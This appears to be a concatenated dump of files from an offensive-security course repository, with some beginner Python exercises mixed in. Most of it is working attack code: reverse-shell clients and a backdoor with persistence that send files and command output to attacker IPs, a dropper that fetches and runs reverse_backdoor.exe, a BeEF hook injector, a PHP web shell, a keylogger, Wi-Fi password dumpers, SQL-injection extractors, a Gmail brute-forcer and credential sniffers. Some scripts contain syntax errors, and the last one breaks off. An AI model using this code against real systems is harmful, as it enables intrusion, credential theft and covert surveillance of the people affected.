if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load
# port 10000 if using sslstrip
if scapy_packet[scapy.TCP].dport == 80:
print("[+] Request")
# print(scapy_packet.show())
# replace encoding in packet to show raw HTML code.
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
# will force server not to send packets in chuncks that can throw off our content length calc
load = load.replace("HTTP/1.1", "HTTP/1.0")
# port 10000 if using sslstrip
elif scapy_packet[scapy.TCP].sport == 80:
print("HTTP Response")
print(scapy_packet.show())
# this will enject BeEF hook, make sure BeEF is running.
injection_code = '<script src="http://10.0.2.15:3000/hook.js"></script>'
load = load.replace("</body>", injection_code + "</body>")
content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
if content_length_search and "text/html" in load:
content_length = content_length_search(0)
new_content_length = int(content_length) + len(injection_code)
print("Old: " + str(content_length))
print("New: " + str(new_content_length))
load = load.replace(content_length, str(new_content_length))
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(str(new_packet))
packet.accept()
# will cut traffic
# packet.drop()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
'''
sslstrip
# need to redirect all packets to port default sslstrip port on 10000 via IP tables rules
# any packet to port 80 redirect to port 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
For other programs such as the code_injector and file_replacer we need to redirect traffic not from FORWARD chain because it will now be empty but to the OUTPUT and INPUT chains
iptables -I OUTPUT -j NFQUEUE --queue-num 0
iptables -I INPUT -j NFQUEUE --queue-num 0
'''
<file_sep>#!/usr/bin/env python
import requests, subprocess, re, os, tempfile
def download(url):
get_response = requests.get(url)
# print(get_response.content)
# w - write b - binary
file_name = url.split("/")[-1]
# print(file_name)
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
#shows image to person who executes the program
download("https://10.0.2.15/car.jpg")
subprocess.Popen("car.jpg", shell=True)
#will run this process in the background until we stop it.
download("https://10.0.2.15/reverse_backdoor.exe")
subprocess.call("reverse_backdoor.exe", shell=True)
os.remove("car.jpg")
os.remove("reverse_backdoor.exe")<file_sep>import threading
import time
import socket, subprocess,sys
from datetime import datetime
import thread
import shelve
'''
I hope you've got a fair idea of the port scanner; in a nutshell, the port scanner
comprises three files, the first file is the scanner (port_scanner_threaded.py), the second file is the
database (mohit.raj), and the third one is port_scanner_db_update.py. You just need to upgrade
the mohit.raj file to insert a description of the maximum number of ports.
'''
'''section 1 '''
subprocess.call('clear',shell=True) #clears screen in linux
shelf = shelve.open("mohit.raj") #create database file
data=(shelf['desc'])
'''section 2 '''
class myThread (threading.Thread):
def __init__(self, threadName,rmip,r1,r2,c):
threading.Thread.__init__(self)
self.threadName = threadName
self.rmip = rmip
self.r1 = r1
self.r2 = r2
# c is for the connection mode
self.c =c
def run(self):
scantcp(self.threadName,self.rmip,self.r1,self.r2,self.c)
'''section 3 '''
def scantcp(threadName,rmip,r1,r2,c):
try:
for port in range(r1,r2):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#sock= socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
socket.setdefaulttimeout(c)
result = sock.connect_ex((rmip,port))
if result==0:
print "Port Open:---->\t", port,"--", data.get(port, "Not in Database")
sock.close()
except KeyboardInterrupt:
print "You stop this "
sys.exit()
except socket.gaierror:
print "Hostname could not be resolved"
sys.exit()
except socket.error:
print "could not connect to server"
sys.exit()
shelf.close()
'''section 4 '''
print "*"*60
print " \tWelcome this is the Port scanner of Mohit\n "
d=raw_input("\ t Press D for Domain Name or Press I for IP Address\t")
if (d=='D' or d=='d'):
rmserver = raw_input("\t Enter the Domain Name to scan:\t")
rmip = socket.gethostbyname(rmserver)
elif(d=='I' or d=='i'):
rmip = raw_input("\t Enter the IP Address to scan: ")
else:
print "Wrong input"
#rmip = socket.gethostbyname(rmserver)
r11 = int(raw_input("\t Enter the start port number\t"))
r21 = int (raw_input("\t Enter the last port number\t"))
conect = raw_input("For low connectivity press L and High connectivity Press H\t")
if (conect =='L' or conect =='l'):
c =1.5
elif(conect =='H' or conect =='h'):
c=0.5
else:
print "\t wrong Input"
print "\n Mohit's Scanner is working on ",rmip
print "*"*60
t1= datetime.now()
tp=r21-r11
tn =30
# tn number of port handled by one thread
tnum=tp/tn # tnum number of threads
if (tp%tn != 0):
tnum= tnum+1
# When the total number of threads exceeds 300, the threads fail to work. It means the number of threads must be less or equal to 300
if (tnum > 300):
tn = tp/300
tn= tn+1
tnum=tp/tn
if (tp%tn != 0):
tnum= tnum+1
'''section 5'''
threads= []
try:
for i in range(tnum):
#print "i is ",i
k=i
r2=r11+tn
# thread=str(i)
thread = myThread("T1",rmip,r11,r2,c)
thread.start()
threads.append(thread)
r11=r2
except:
print "Error: unable to start thread"
print "\t Number of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total<file_sep>#pip install pyautogui
import pyautogui
import os
def captureScreenshot(my_socket):
print("[+] Taking screenshot")
screenshot = pyautogui.screenshot()
screenshot_name = "screenshot.png"
screenshot.save(screenshot_name)
my_socket.sendFile(screenshot_name)
print("[+] Screenshot sent.")
os.remove(screenshot_name)<file_sep>print('Python Practice Exercises Level 1 Problems')
print('#'* 10)
print()
print('OLD MACDONALD: Write a function that capitalizes the first and fourth letters of a name')
def old_macdonald(name):
firstHalf = name[:3]
secondHalf = name[3:]
return firstHalf.capitalize() + secondHalf.capitalize()
print(old_macdonald('macdonald'))
print()
print('MASTER YODA: Given a sentence, return a sentence with the words reversed')
def master_yoda(text):
wordlist = text.split()
reversedWordList = wordlist[::-1]
return ' '.join(reversedWordList)
print('Master Yoda said')
print(master_yoda('I am home'))
print(master_yoda('We are ready'))
print()
print('ALMOST THERE: Given an integer n, return True if n is within 10 of either 100 or 200')
print('abs(num) returns the absolute value of a number')
def almost_there(n):
return (abs(100-n) <= 10) or (abs(200-n) <= 10)
print(almost_there(90))
print(almost_there(150))<file_sep>#!/usr/bin/python2
# This script uses boolean based SQLi based on some true of false statement to try and find the password length and then the password
import requests
import sys
yes = sys.argv[1]
i = 1
asciivalue = 1
answer = []
print "Kicking off the attempt"
payload = {'injection': '\'AND char_length(password) ='+str(i)+';#', 'Submit': 'submit'}
while True:
req = requests.post('<target url>' data=payload)
lengthtest = req.text
if yes in lengthtest:
length = i
break
else:
i = i+1
for x in range(1, length):
while asciivalue < 126:
payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) ='+ chr(asciivalue)+';#', 'Submit': 'submit'}
req = requests.post('<target url>', data=payload)
if yes in req.text:
answer.append(chr(asciivalue))
break
else:
asciivalue = asciivalue + 1
pass
asciivalue = 0
print "Recovered String: "+ ''.join(answer)<file_sep>#!/usr/bin/python
import subprocess, smtplib, re
# only works for windows systems
command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
final_output = ""
for network in network_list:
try:
command2 = "netsh wlan show profile " + network + " key=clear"
one_network_result = subprocess.check_output(command2, shell=True)
#print(one_network_result)
final_output += one_network_result
except:
#print("Could not get clear wifi password for: " + network)
final_output += "Could not get clear wifi password for: " + network
print(final_output)
file = open("wifipasswords.txt", "w")
file.write(final_output)
file.close()
# remember you have to enable the gmail authorize settings
"""
my_email = "<EMAIL>"
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(my_email, password)
server.sendmail(my_email, my_email, final_output)
"""<file_sep>
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import socket
import subprocess
import os
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while len(packet) > 0:
s.send(packet)
packet = f.read(1024)
s.send('DONE'.encode())
else:
s.send('File not found'.encode())
def connecting(ip):
s = socket.socket()
s.connect((ip, 8080))
while True:
command = s.recv(1024)
if 'terminate' in command.decode():
s.close()
break
elif 'grab' in command.decode():
grab, path = command.decode().split("*")
try:
transfer(s, path)
except:
pass
else:
CMD = subprocess.Popen(command.decode(), shell=True,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
s.send(CMD.stderr.read())
s.send(CMD.stdout.read())
def main():
ip = socket.gethostbyname('pythonhussam.ddns.net')
print (ip)
return
connecting(ip)
main()
<file_sep><?php
$command = $_GET['cmd'];
echo exec($command)
?><file_sep>#/usr/bin/python3
#pip install pynput
from pynput import keyboard
import sys
import time
import os
log_file_name = "keylog.txt"
file_writer = open(log_file_name, "w")
current_time = time.ctime(time.time())
file_writer.write(current_time)
file_writer.write("\n-----------------------------------------\n\n")
def run_on_press(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.space":
file_writer.write(" ")
elif str(key) == "Key.enter":
file_writer.write("\n")
elif str(key) == "Key.esc":
file_writer.write("")
elif str(key) == "Key.backspace":
file_writer.seek(file_writer.tell() - 1, os.SEEK_SET)
file_writer.write("")
else:
file_writer.write(stroke)
def run_on_release(key):
if str(key) == 'Key.esc':
print("[+] Exiting the program.")
file_writer.write("\n\n-----------------------------------------")
#sys.exit(0)
file_writer.close()
return False
with keyboard.Listener(on_press=run_on_press, on_release=run_on_release) as listener:
listener.join()
<file_sep>#!/usr/bin/python3
# Script to change our Mac Address on Kali
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:11:22:33:44:55
# ifconfig eth0 up
# have to run it as sudo
import subprocess
import re
class Mac_Changer:
def __init__(self):
self.MAC = ""
def get_MAC(self, iface):
output = subprocess.run(["ifconfig", iface], shell=False, capture_output=True)
cmd_result = output.stdout.decode('utf-8')
print(cmd_result)
# Regex pattern to grab the MAC address from the ifconfig output
pattern = r'ether\s[\da-z]{2}:[\da-z]{2}:[\da-z]{2}:[\da-z]{2}:[\da-z]{2}:[\da-z]{2}'
regex_string = re.compile(pattern)
result = regex_string.search(cmd_result)
# print(result)
# Split off the MAC from the ether word
current_mac = result.group().split(" ")[1]
self.MAC = current_mac
return current_mac
def change_MAC(self, iface, new_mac):
print("[+] Current MAC: ", self.get_MAC(iface))
output = subprocess.run(["ifconfig", iface, "down"], shell=False, capture_output=True)
# If there is no output then everything is fine otherwise print out the error
print(output.stderr.decode('utf-8'))
output = subprocess.run(["ifconfig", iface, "hw", "ether", new_mac], shell=False, capture_output=True)
print(output.stderr.decode('utf-8'))
output = subprocess.run(["ifconfig", iface, "up"], shell=False, capture_output=True)
print(output.stderr.decode('utf-8'))
print("[+] New MAC: ", self.get_MAC(iface))
return self.get_MAC(iface)<file_sep>#pip3 install cryptography
from cryptography.fernet import Fernet
if __name__ == "__main__":
key = Fernet.generate_key()
print(key)
message = "This is my secret message"
msg_bin = message.encode()
#print(msg_bin)
f = Fernet(key)
encrypted_msg = f.encrypt(msg_bin)
print(encrypted_msg)
decrypted_msg = f.decrypt(encrypted_msg)
print(decrypted_msg)<file_sep>from core.command import runCommand
from core.fileupload import uploadFiles
from core.fileFolderDownloader import receiveFileFolders
from core.screenshot import captureScreenshot
from core.persistance import becomePersitant
def showOptions():
print("\n")
print("[ 01 ] Run command on victim OS")
print("[ 02 ] Upload file to victim")
print("[ 03 ] Download files and folders")
print("[ 04 ] Change directory")
print("[ 05 ] Capture Screenshot")
print("[ 06 ] Become Persistant")
print("[ 99 ] Exit")
def handleConnection(my_socket):
print("[+] Handling connection")
while True:
showOptions()
user_input = input("[+] Select your options : ")
my_socket.sendData(user_input)
if user_input == "1":
print("[+] Running the commands on victim")
# Create function to handle command execution
runCommand(my_socket)
elif user_input == "2":
print("[+] Uploading files")
uploadFiles(my_socket)
elif user_input == "3":
receiveFileFolders(my_socket)
elif user_input == "4":
my_socket.changeDirectory()
elif user_input == "5":
captureScreenshot(my_socket)
elif user_input == "6":
becomePersistant(my_socket)
elif user_input == "99":
break
else:
print("[+] Invalid input")
break<file_sep>#Reverse shell client side
#need to pip install requests
import requests
import subprocess
import time
import os
while True:
req = requests.get('http://192.168.100.137:8080')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab, path = command.split("*")
if os.path.exists(path):
url = "http://192.168.100.137:8080/store"
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.100.137:8080', data='[-] Not able to find path')
else:
CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url='http://192.168.100.137:8080', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.100.137:8080', data=CMD.stderr.read())
time.sleep(3)<file_sep>#!/usr/bin/python3
# Gather stored wifi passwords on windows
import subprocess
# netsh wlan show profiles
completed_process = subprocess.run(["netsh", "wlan","show", "profiles"], shell=True, capture_output=True)
output = completed_process.stdout.decode()
print(output)
output = output.split("\n")
access_points = []
for line in output:
if "All User Profile" in line:
split_line = line.split(":")
#Strip the front space and the last newline
ap = split_line[1][1:-1]
access_points.append(ap)
# netsh wlan show profile apName key=clear
for ap in access_points:
ap_result = subprocess.run(["netsh", "wlan","show", "profiles", ap, "key=clear"], shell=True, capture_output=True)
ap_result = ap_result.stdout.decode()
ap_result_list = ap_result.split("\n")
for line_result in ap_result_list:
if "SSID name" in line_result:
print(line_result)
if "Key Content" in line_result:
print(line_result)<file_sep>import sys
print('#'*100)
print(' Getting user input.')
print('#'*100)
print('''\
Complete Ethical Hacking Udemy Course.
Python can be used for Scripting.''')
print('#'*100)
print('input() method')
name = input('What is your name? ')
print(f"Nice to meet you {name}")
age = input('What is your age? ')
print('So you are already {}. Thats cool!'.format(age))<file_sep>import requests
# this is from HTB falafel machine
# valid chars in an md5 hash
chars = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']
def GetSQL(i,c):
return "admin' and substr(password,%s,1) = '%s'-- -" %(i,c)
#32 character md5 hash
for i in range(1,33):
#print(i)
for c in chars:
#print(GetSQL(1,c))
injection = GetSQL(i,c)
payload = {'username': injection, 'password': '<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data = payload)
if "Wrong identification" in r.text:
print(c,end='',flush=True)
break
print()<file_sep>'''
Reading and Writing to a .txt file
'''
'''
There is an better way to read file and manage them with a context manager
# r = read only
f = open('test.txt', 'r')
print(f.read())
# Must close, can lead to an memory leak if not closed.
f.close()
'''
# Context Manager will open and close automatically
with open('test.txt', 'r') as f:
#print(f.readline())
print(f.read())
#print(f.read(100))
#print(f.tell())
#print(f.readlines())
#for line in f:
# print(line, end='')
with open('text1.txt', 'w') as f:
# If the file does not exist it will create it.
f.write('This is an new file with some text!')
# If the file does exist it will overwrite whatever is in it.
f.write('This file was be overwritten')
# reading a photo - rb = read binary
with open('mr_robot.png', 'rb') as photo:
print(photo.read())
<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import socket
import subprocess
import os
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet:
s.send(packet)
packet = f.read(1024)
s.send('DONE'.encode())
f.close()
else:
s.send('Unable to find out the file'.encode())
def connect():
s = socket.socket()
s.connect(('192.168.0.152', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command.decode():
s.close()
break
elif 'grab' in command.decode():
grab, path = command.decode().split('*')
try:
transfer(s, path)
except Exception as e:
s.send(str(e).encode())
pass
elif 'cd' in command.decode():
code, directory = command.decode().split('*') # the formula here is gonna be cd*directory
try:
os.chdir(directory) # changing the directory
s.send(('[+] CWD is ' + os.getcwd()).encode()) # we send back a string mentioning the new CWD
except Exception as e:
s.send(('[-] ' + str(e)).encode())
else:
CMD = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
def main():
connect()
main()
<file_sep>#!/usr/bin/python2.7
import socket,sys
target = sys.argv[1]
ports = range(1,10001)
for port in ports:
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(0.1)
if sock.connect_ex((target,port)) == 0:
print "[+]The port {0} is Opened".format(port)
#else:
# print "[!]The port {0} is Closed".format(port)
except socket.error:
print "[!] Error with socket !"
<file_sep>import random
#Python project A
randomNumber = random.randint(1, 99)
print(randomNumber)
guess = int(input('Enter a number from 1 to 99: '))
while randomNumber != guess:
print
if guess < randomNumber:
print('Your guess is to low')
guess = int(input('Enter a number from 1 to 99: '))
elif guess > randomNumber:
print('Your guess is to high')
guess = int(input('Enter a number from 1 to 99: '))
else:
print('You guessed the right number!')
break
print
<file_sep>#simple python program
name = input('What is your name? ')
print('Hello ' + name + '!')
age = input('What is your age? ')
print(f"That's great, {name}. So you are {age} years old!")
temperature = float(input('What is the temperature outside? '))
if temperature > 30:
print('Thats hot!')
else:
print('Thats mild!')
print(name.upper())
someoneBday = input('Whos birthday is it today? ')
#Functions
def happyBirthday(name):
print(f'Happy Birthday {name}!')
happyBirthday(someoneBday)<file_sep>#Python Functions
#starts with defining the name_of_function():
# doSomethingInFunction
#if no params is given then Default is applied
def name_of_function(argument='Default'):
'''
Docstring explains function.
'''
print(f"Hello {argument}")
name_of_function()
name_of_function("Steve")
print()
def adding_function(num1, num2):
'''
DOCSTRING: Information about this function. It adds 2 things together.
INPUT: num1, num2
OUTPUT: num1 + num2
'''
return num1 + num2
returnResult = adding_function(400,20)
print(returnResult)
print()
help(adding_function)
#find out if the word dog is in a string?
#noobie way
def dog_check(myString):
if 'dog' in myString.lower():
return True
else:
return False
print(dog_check('I have 3 big dogs'))
#better way - statement below retruns a boolean value
def cat_check(myString):
return 'cat' in myString.lower()
print(cat_check('I wish I had a fat cat.'))
def is_prime(num):
'''
Naive method of checking for primes.
'''
for n in range(2,num):
if num % n == 0:
print(num,'is not prime')
break
else: # If never mod zero, then prime
print(num,'is prime!')
import math
def is_prime2(num):
'''
Better method of checking for primes.
'''
if num % 2 == 0 and num > 2:
return False
for i in range(3, int(math.sqrt(num)) + 1, 2):
if num % i == 0:
return False
return True<file_sep>#!/usr/bin/python
import smtplib
from termcolor import colored
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("[+] Enter Targets Email Address: ")
passwdfile = input("[+] Enter the path to the password list file: ")
passfile = open(passwdfile, "r")
for password in passfile:
password = password.strip('\n')
try:
smtpserver.login(user, password)
print(colored("[+] Password found: %s" % password, 'green'))
break
except smtplib.SMTPAuthenticationError:
print(colored("[-] Wrong password: " + password, 'red'))
<file_sep>#Packet sniffer in Python - custom version
import socket, sys
from struct import *
#convert a string of 6 characters of ethernet address into a dash sperated hex string
def eth_addr(a):
b = "%.2x: %.2x %.2x %.2x %.2x %.2x" % (ord(a[0]), ord(a[1]), ord(a[2]), ord(a[3]), ord(a[4]), ord(a[5]))
return b
# create a AF_PACKET type for raw socket
try:
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
except socket.error, msg:
print('Socket could not be created. Errro code : ' + str(msg[0]) + 'Message ' + msg[1])
sys.exit()
#receive a packet
while True:
packet = s.recvfrom(65565)
#packet string from tuple
packet = packet[0]
#parse ethernet header
eth_length = 14
eth_header = packet[:eth_length]
eth = unpack('!6s6sH', eth_header)
eth_protocol = socket.ntohs(eth[2])
print('Destination MAC : ' + eth_addr(packet[0:6]) + ' Source MAC : ' + eth_addr(packet[6:12]) + ' Protocol : ' + str(eth_protocol))
<file_sep>#!/usr/bin/python3
# Script to change our Mac Address on Kali
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:11:22:33:44:55
# ifconfig eth0 up
# have to run it as sudo
from mac_changer import Mac_Changer
if __name__ == "__main__":
mc = Mac_Changer()
mac = mc.get_MAC("eth0")
print(mac)
current_mac = mc.change_MAC("eth0", "00:11:22:33:44:55")
print(current_mac)<file_sep>import turtle
#Cartesian coordinate systems! pair(x,y)
# turtle library will work only with python 2, thus cant install the package in python 3
'''
turtle is old (last updated at 2009); it certainly Python2-only.
SyntaxError for except ValueError, ve: means that you're trying to install it with Python3. To use turtle you most certainly need Python 2.7.
'''
turtle.forward(90)
turtle.right(120)
turtle.forward(90)
turtle.right(120)
turtle.forward(90)
frankTheTurtle = turtle.Turtle()
for i in [0,1,2,3]:
frankTheTurtle.forward(50)
frankTheTurtle.left(90)
<file_sep>#!/usr/bin/env python
import scapy.all as scapy
# https://github.com/invernizzi/scapy-http
from scapy.layers import http
def sniff(interface):
# using the Berkeley Packet Filter (BPF) syntax for the filter - http://biot.com/capstats/bpf.html
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
# check layers and fields with show function
# print(packet.show())
# print(packet[scapy.Raw.load])
load = packet(scapy.Raw).load
keywords = ["username", "user", "login", "pass", "<PASSWORD>", "email"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
#print(packet.show())
url = get_url(packet)
print("[+] HTTP Request >> " + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password > " + login_info + "\n\n")
sniff("eth0")
# scapy.http example code
'''
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
# This import works from the project directory
import scapy_http.http
except ImportError:
# If you installed this package via pip, you just need to execute this
from scapy.layers import http
packets = scapy.rdpcap('example_network_traffic.pcap')
for p in packets:
print '=' * 78
p.show()
'''<file_sep>#!/usr/bin/python
# python 3
# password lists https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials
from urllib.request import urlopen
import hashlib
from termcolor import colored
sha1hash = input("[*] Enter SHA1 Hash value: ")
# get the raw git download links to use for a password list
passlist = str(urlopen('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt').read(), 'utf-8')
for word in passlist.split('\n'):
hashguess = hashlib.sha1(bytes(word, 'utf-8')).hexdigest()
if hashguess == sha1hash:
print(colored('[+] The Password is: ' + str(word), 'green'))
quit()
else:
print(colored("[-] Password guess: " + str(word) + " does not match, trying next...",'red'))
print("Password no in passwordlist")
<file_sep>#!/usr/bin/python
# needed to pip install scapy_http
# sniffs HTTP traffic data for any of the words in the words list
import scapy.all as scapy
from scapy_http import scapy_http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_packets)
def process_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
print url
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
for i in words:
if i in str(load):
print load
break
words = ["<PASSWORD>", "<PASSWORD>", "username", "<PASSWORD>", "login"]
sniff("eth0")<file_sep>#!/usr/bin/python
# very simple program that sniffs DNS packet and prints it out
from scapy.all import *
def findDNS(pac):
if pac.haslayer(DNS):
print pac[IP].src, pac[DNS].summary()
sniff(prn=findDNS)<file_sep>print('#'*10)
print('Multiple *Arguments and **Key Word Arguments')
print('*args and **kwargs')
print('its the stars * and ** that matter, *params, **example')
print('for convention use args and kwargs names')
print('#'*10)
def myFunc(a,b):
#Returns 5% of the sum of a and b
return sum((a,b)) * 0.05
print(myFunc(40,60))
print()
print('*args allows your to pass in as many arguments as possible and treats it like a tuple')
def myBetterFunc(*args):
return sum(args) * 0.05
print(myBetterFunc(10,20,20,25,25))
print()
print('** generates a key word dictionary of arguments')
def myCoolFunc(**kwargs):
if 'fruit' in kwargs:
print('My fruit of choice is {}'.format(kwargs['fruit']))
elif 'fish' in kwargs:
print('{} is a type of fish'.format(kwargs['fish']))
else:
print('I did not find any fruit here')
myCoolFunc(fruit='apple', veggie='lettuce', fish='king klip')
myCoolFunc(veggie='lettuce', fish='King klip')
def myBestestFunc(*args, **kwargs):
print(args)
print(kwargs)
print('I would like {} {}'.format(args[0], kwargs['food']))
myBestestFunc(10,20,30, fruit='orange', food='eggs', animal='dog')
print()
print('* and ** can be used together')
def mySunk(*args):
mylist = []
for arg in args:
if arg % 2 == 0:
mylist.append(arg)
return mylist
print(mySunk(2,3,4,5,6))
def myStringFun(myString):
newString = ''
count = 1
for letter in myString:
if count % 2 == 0:
newString += letter.upper()
count += 1
else:
newString += letter.lower()
count += 1
return newString
print(myStringFun('Steve'))<file_sep>
def runCommand(my_socket):
print("[+] Running commands")
while True:
command = input(">> ")
my_socket.sendData(command)
if command == "":
continue
if command == "stop":
break
result = my_socket.receiveCommandResult()
print(result)
<file_sep>#!/usr/bin/env python
import requests, os
def request(url):
try:
return requests.get("http://" + url)
except requests.exceptions.ConnectionError:
pass
dirpath = os.getcwd()
print("current directory is : " + dirpath)
target_url = "10.0.2.7/mutillidae"
with open(dirpath + "/subdomains-wordlist.txt", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
test_url = word + "." + target_url
#print(test_url)
response = request(test_url)
if response:
print("[+] Discovered subdomain -->" + test_url)
#can store the subdomain in a db or list
'''
# This is for finding sub directories for a website.
with open(dirpath + "/files-and-dirs-wordlist.txt", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
test_url = target_url + "/" + word
#print(test_url)
response = request(test_url)
if response:
print("[+] Discovered subdomain -->" + test_url)
#can store the subdomain in a db or list
#can add another loop to look for sub-sub directories
'''<file_sep>#!/usr/bin/python
# code from https://www.udemy.com/course/ethical-hacking-python/learn/lecture/14295120#overview
# this code uses a file which contains vulnurable banners and then checks if any of the targets have these banner by doing a port scan
import socket
import os
import sys
def returnBanner(ip,port):
try:
socket.setdefaulttimeout(2)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
banner = s.recv(1024)
return banner
except:
#print "[-] Could not retrieve banner for port: " + str(port)
return
def checkVulns(banner, filename):
f = open(filename, "r")
for line in f.readlines():
if line.strip("\n") in banner:
print '[+] Server has vulnurable app: ' + banner.strip("\n")
def main():
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print "[-] File does not exist!"
exit(0)
if not os.access(filename, os.R_OK):
print '[-] Access Denied'
exit(0)
else:
print '[-] Usage: ' + str(sys.argv[0]) + " <vuln filename>"
exit(0)
portlist = [21,22,25,80,110,443,445,8080,3306]
# scan multiple targets in IP range below
for x in range(10,20)
ip = "10.0.2." + srt(x)
for port in portlist:
banner = returnBanner(ip, port)
if banner:
print '[+] ' + ip "/" str(port) + " : " + banner
checkVulns(banner, filename)
main()<file_sep>#!/usr/bin/python
# python 2
import socket
import subprocess
import json
import os
import base64
import shutil
import sys
import time
import requests
from mss import mss
import threading
import keylogger
# When we compile this file to an .exe with wine make sure we have the requests library installed you can use python -m pip install requests
# Example: wine /root/.wine/drive_c/Python27/python.exe -m pip install requests
# Also pip install mss into wine
# wine /root/.wine/drive_c/Python27/python.exe -m pip install mss
# wine /root/.wine/drive_c/Python27/python.exe -m pip install pynput
def reliable_send(data):
json_data = json.dump(data)
sock.send(json_data)
def reliable_recv():
data = ""
while True:
try:
data = data + sock.recv(1024)
return json.loads(data)
except ValueError:
continue
def is_admin():
global admin
try:
temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'),'temp']))
except:
admin = "[!!] User Privileges!"
else:
admin = "[+] Administrator Privileges!"
def screenshot():
with mss() as screenshot:
screenshot.shot()
# Downloads file from internet to target pc
def download(url):
get_response = requests.get(url)
# Take last part of the url as the file name.
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
def make_connection():
while True:
time.sleep(20)
try:
# Public IP address of the server
sock.connect(("192.168.1.4",54321))
shell()
except:
make_connection()
def shell():
while True:
command = reliable_recv()
if command == "quit":
#break
continue
elif command == "exit":
# we conduct sock.close() at the bottom of this script
break
elif command[:7] == "sendall":
subprocess.Popen(command[8:],shell=True)
elif command == "help":
help_options = ''' download path --> Download a file from target PC
upload path --> Upload a file to target PC
get url --> Download a file from the internet to target PC
start --> Start a program on the target PC
screenshot --> Take a screenshot of target PC
check --> Check if the shell has administrative priviledges
quit --> Exit shell
keylog_start --> Start keylogger
keylog_dump --> Download keylogger dump file'''
reliable_send(help_options)
elif command[:2] == "cd" and len(command) > 1:
try:
os.chdir(command[3:])
except:
continue
elif command[:8] == "download":
# rb = read bytes
with open(command[9:], "rb") as file:
reliable_send(base64.b64encode(file.read()))
elif command[:6] == "upload":
with open(command[7:], "wb") as fin:
file_data = reliable_recv()
fin.write(base64.b64decode(file_data))
elif command[:3] == "get":
try:
download(command[4:])
reliable_send("[+] Downloaded file from specified URL!")
except:
reliable_send("[!] Failed to download file!")
elif command[:10] == "screenshot":
try:
screenshot()
with open("monitor-1.png", "rb") as sc:
reliable_send(base64.b64encode(sc.read()))
os.remove("monitor-1.png")
except:
reliable_send("[!!] Failed to take screenshot!")
elif command[:5] == "start":
try:
subprocess.Popen(command[6:], shell=True)
reliable_send("[+] Started program!")
except:
reliable_send("[!!] Failed to start program!")
elif command[:5] == "check":
try:
is_admin()
reliable_send(admin)
except:
reliable_send("Cant perform the administrator check!")
elif command[:12] == "keylog_start":
thread1 = threading.Thread(target=keylogger.start)
thread1.start()
elif command[:11] == "keylog_dump":
fn = open(keylogger_path, "r")
reliable_send(fn.read())
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
reliable_send(result)
keylogger_path = os.environ["appdata"] + "\\processmanager.txt"
# For windows target only as it only has appdata
location = os.environ["appdata"] + "\\windows_shell32.exe"
if not os.path.exists(location):
